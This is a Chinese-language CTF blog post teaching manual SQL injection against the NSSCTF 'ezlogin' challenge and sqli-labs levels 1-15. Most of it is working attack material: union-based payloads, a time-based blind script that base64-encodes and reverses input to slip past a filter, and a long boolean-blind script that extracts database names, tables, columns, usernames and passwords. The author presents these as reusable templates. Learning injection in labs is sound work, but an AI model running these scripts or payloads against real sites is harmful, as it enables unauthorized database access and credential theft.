Sql脚本

sqlmap to one,script to all!

Posted by sword Reforge on April 15, 2025

SQL注入手注

没有手与脚本的注入的注入不是好注入,正如西方不可无耶路撒冷,由于注入有时并不是标准的,当题目出完后,出来的用sqlmap不一定出的来结果,那么我们看看如何写脚本

范例 [[HZNUCTF 2023]ezlogin NSSCTF](https://www.nssctf.cn/problem/3614)

我们可以看到:

1:寻找注入点
POST / HTTP/1.1
Host: node5.anna.nssctf.cn:24778
此处省略
username=1&passwd=1

追问:___________________________________________________________________________________________________

注入点可能为username or passwd,随意输入任意数值,我们发现无论如何,它都是无回显的,则归为盲注,并且本题并无任何源码附件下载,盲注一般有提示,那么我们右转去源码,发现提示:

<!--
$username = strrev(base64_decode($_POST['username']));
$username = preg_replace('/select|union|and|database/', "hznuctf2023", $username);-->

题目直接告诉我们注入点,在那但是有函数很蹊跷,base64_decode 会对传入的参数进行解码,strrev()会对字符进行颠倒,还有过滤,所以即使用SQL再开–risk –level 包跑不出的

heuristic (basic) test shows that parameter 'Referer' might not be injectable

所以上脚本

import requests
import base64 
import datetime #引入日期时间(用于人为制造间隔,防WAF)

url='http://node5.anna.nssctf.cn:22953/'
flag = '' #创建flag字符串

for i in range(1,100):#二分查找
    low = 32
    high = 130
    mid = (high + low) // 2
    while (low < high):
        #此处为应打入的payload,因为WAF拦截,我们注入过程如下:(假设数据库为常用MYSQL/MariaDB)
        #payload = "1'||if((ascii(substr((DATABASE()),{},1)))>{},sleep(1),1)#" #(列数据库,sleep()判断是否是时间盲注)通过 `sleep(1)` 触发延迟,判断字符的 ASCII 码值。
        #payload = "1'||if((ascii(substr((SELECT/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/DATABASE()),{},1)))>{},sleep(1),1)#" #(表名枚举)通过 `sleep(1)` 延迟爆破表名,- 使用 MySQL 系统表 `information_schema.tables`。 - `group_concat()` 是 MySQL 聚合函数, - 需要提取当前数据库的所有表名。- 绕过空格过滤(使用 `/**/` 替代空格)。- 依赖 `information_schema` 的访问权限
        #payload = "1'||if((ascii(substr((SELECT/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/DATABASE()/**/AND/**/table_name/**/like/**/'user'),{},1)))>{},sleep(1),1)#" #列名枚举  使用`information_schema.columns` 系统表。 爆破 `user` 表的所有列名。
  '''
	**适用条件**:
   - 已知目标表名为 `user`。
   - 需要提取表的列结构。
   - 依赖 `information_schema` 的访问权限。
'''
        payload = "1'||if((ascii(substr((SELECT/**/group_concat('username','^''password')/**/from/**/users.user),{},1)))>{},sleep(1),1)#" #-- 使用 `group_concat()` 和特定表 `users.user`, 从 `users.user` 表中提取 `username` 和 `password` 字段。

        payload = payload.format(i, mid)
        print(payload)
        payload = base64.b64encode(payload[::-1].encode("utf-8"))
        data = {
            'username':payload,
            'passwd':'1'
        }
        time1 = datetime.datetime.now()
        r = requests.post(url, data)
        time2 = datetime.datetime.now()
        time = (time2 - time1).seconds
        if time > 1:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 130):
        break
    flag += chr(mid)
    print(flag)

好了,现在,由这一题,我就sqli-lab的1-15关进行总结

Less 1-7 报错注入

总体思路:fuzz判闭合,order by 拼接看列数,union select 看行数,select套database(),version()明确版本,unionselect 1,2,group_concat (table_name) from shama.database…,union select

1,2,group_concat (column_name) from shama.database…

Less1 payload:

1'--+
1'order by 3 --+
1'order by 4 --+
-1'union select 1,database(),version() --+
-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
-1'union select 1,2,group_concat(user,name,id) from users--+

其他关卡无非就是换换闭合方式,换换注入类型(字符型注入,数字型注入)

建议直接注

Less 8-15盲注

与1-7关不同,输入注入尝试,发现只显示,you are in…,不会显示结果,那sleep()无用,只为盲注,sqlmap可用

[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+
[8 entries]
+----+------------------------+
| id | email_id               |
+----+------------------------+
| 1  | Dumb@dhakkan.com       |
| 2  | Angel@iloveu.com       |
| 3  | Dummy@dhakkan.local    |
| 4  | secure@dhakkan.local   |
| 5  | stupid@dhakkan.local   |
| 6  | superman@dhakkan.local |
| 7  | batman@dhakkan.local   |
| 8  | admin@dhakkan.com      |
+----+------------------------+

但问题来了,如果是对注入的语句进行处理,如编码,双写过滤,那么这时脚本的重要性就来了,

争对less-8简单出个脚本

import requests
import string
 
url='http://sqli/Less-8/index.php'
 
i=0
db_name_len=0
print('[+]正在猜解数据库长度......')
while True:
    payload=url+"?id=1'and length(database())=%d--+"%i
    res=requests.get(payload)
    #print(payload)
    if 'You are in...........' in res.text:
        db_name_len=i
        print ('数据库长度为:'+str(db_name_len))
        break
    if i==30:
        print('error!')
        break
    i+=1
 
print("[+]正在猜解数据库名字......")
db_name=''
for i in range(1,db_name_len+1):
    #print(i)
    for k in string.ascii_lowercase:
        #print(k)
        payload=url+"?id=1'and substr(database(),%d,1)='%s'--+"%(i,k)
        res=requests.get(payload)
        #print(payload)
        if 'You are in...........' in res.text:
            db_name+=k
            #print(db_name)
            break
print("数据库为: %s"%db_name)
 
#猜解几张表
print("[+]正在猜解表的数量......")
tab_num=0
while True:
    payload=url+"?id=1'and (select count(table_name) from information_schema.tables where table_schema='security')=%d--+"%tab_num
    res=requests.get(payload)
    if 'You are in...........' in res.text:
        print("%s数据库共有"%db_name+str(tab_num)+"张表")
        break
    else:
        tab_num+=1
 
print("[+]开始猜解表名......")
for i in range(1,tab_num+1):
    tab_len=0
    while True:
        payload=url+"?id=1'and (select length(table_name) from information_schema.tables where table_schema='security' limit %d,1)=%d--+"%(i-1,tab_len)
        res=requests.get(payload)
        #print(payload)
        if 'You are in...........' in res.text:
            #print ('第%d张表长度为:'%i+str(tab_len))
            break
        if tab_len==30:
            print('error!')
            break
        tab_len+=1
    tab_name=''
    for j in range(1,tab_len+1):
        for m in string.ascii_lowercase:
            payload=url+"?id=1'and substr((select table_name from information_schema.tables where table_schema='security' limit %d,1),%d,1)='%s'--+"%(i-1,j,m)
            res=requests.get(payload)
            if 'You are in...........' in res.text:
                tab_name+=m
                #print (tab_name)
    print("[-]第%d张表名为: %s"%(i,tab_name))
    #尝试猜解表下字段......
    dump_num=0
    while True:
        payload=url+"?id=1'and (select count(column_name) from information_schema.columns where table_name='%s')=%d--+"%(tab_name,dump_num)
        res=requests.get(payload)
        if 'You are in...........' in res.text:
            print("%s表下有%d个字段"%(tab_name,dump_num))
            break
        dump_num+=1
    
    for a in range(1,dump_num+1):
        dump_len=0
        while True:
            payload=url+"?id=1'and (select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)=%d--+"%(tab_name,a-1,dump_len)      
            res=requests.get(payload)
            #print(payload)
            if 'You are in...........' in res.text:
                #print("第%d个字段长度为%d"%(a,dump_len))
                break
            dump_len+=1
            if dump_len==30:
                print("error!!")
                break
        dump_name=''
        for i in range(1,dump_len+1):
            for j in (string.ascii_lowercase+'_-'):
                payload=url+"?id=1'and substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1)='%s'--+"%(tab_name,a-1,i,j)
                res=requests.get(payload)
                if 'You are in...........' in res.text:
                    dump_name+=j
                    #print(dump_name)
                    break
        print(dump_name)
print("[+]开始猜解users表下的username......")
usn_num=0
char="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-"
while True:
    payload=url+"?id=1'and (select count(username) from security.users)=%d--+"%usn_num
    res=requests.get(payload)
    if "You are in" in res.text:
        #print(usn_num)#13
        break
    usn_num+=1
for i in range(1,usn_num+1):
    usn_len=0
    while True:
        payload=url+"?id=1'and (select length(username) from security.users limit %d,1)=%d--+"%(i-1,usn_len)
        res=requests.get(payload)
        if "You are in" in res.text:
            #print("第%d的长度为%d"%(i,usn_len))
            break
        usn_len+=1
    usr_name=''
    for k in range(1,usn_len+1):
        for m in char:
            payload=url+"?id=1'and substr((select username from security.users limit %d,1),%d,1)='%s'--+"%(i-1,k,m)
            res = requests.get(payload)
            if "You are in" in res.text:
                usr_name+=m
                break
    print(usr_name)
 
print("[+]开始猜解users表下的password......")
usn_num=0
char="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-@!"
while True:
    payload=url+"?id=1'and (select count(password) from security.users)=%d--+"%usn_num
    res=requests.get(payload)
    if "You are in" in res.text:
        #print(usn_num)#13
        break
    usn_num+=1
for i in range(1,usn_num+1):
    usn_len=0
    while True:
        payload=url+"?id=1'and (select length(password) from security.users limit %d,1)=%d--+"%(i-1,usn_len)
        res=requests.get(payload)
        if "You are in" in res.text:
            #print("第%d的长度为%d"%(i,usn_len))
            break
        usn_len+=1
    usr_name=''
    for k in range(1,usn_len+1):
        for m in char:
            payload=url+"?id=1'and substr((select password from security.users limit %d,1),%d,1)='%s'--+"%(i-1,k,m)
            res = requests.get(payload)
            if "You are in" in res.text:
                usr_name+=m
                break
    print(usr_name)

太长了…,作个模板留档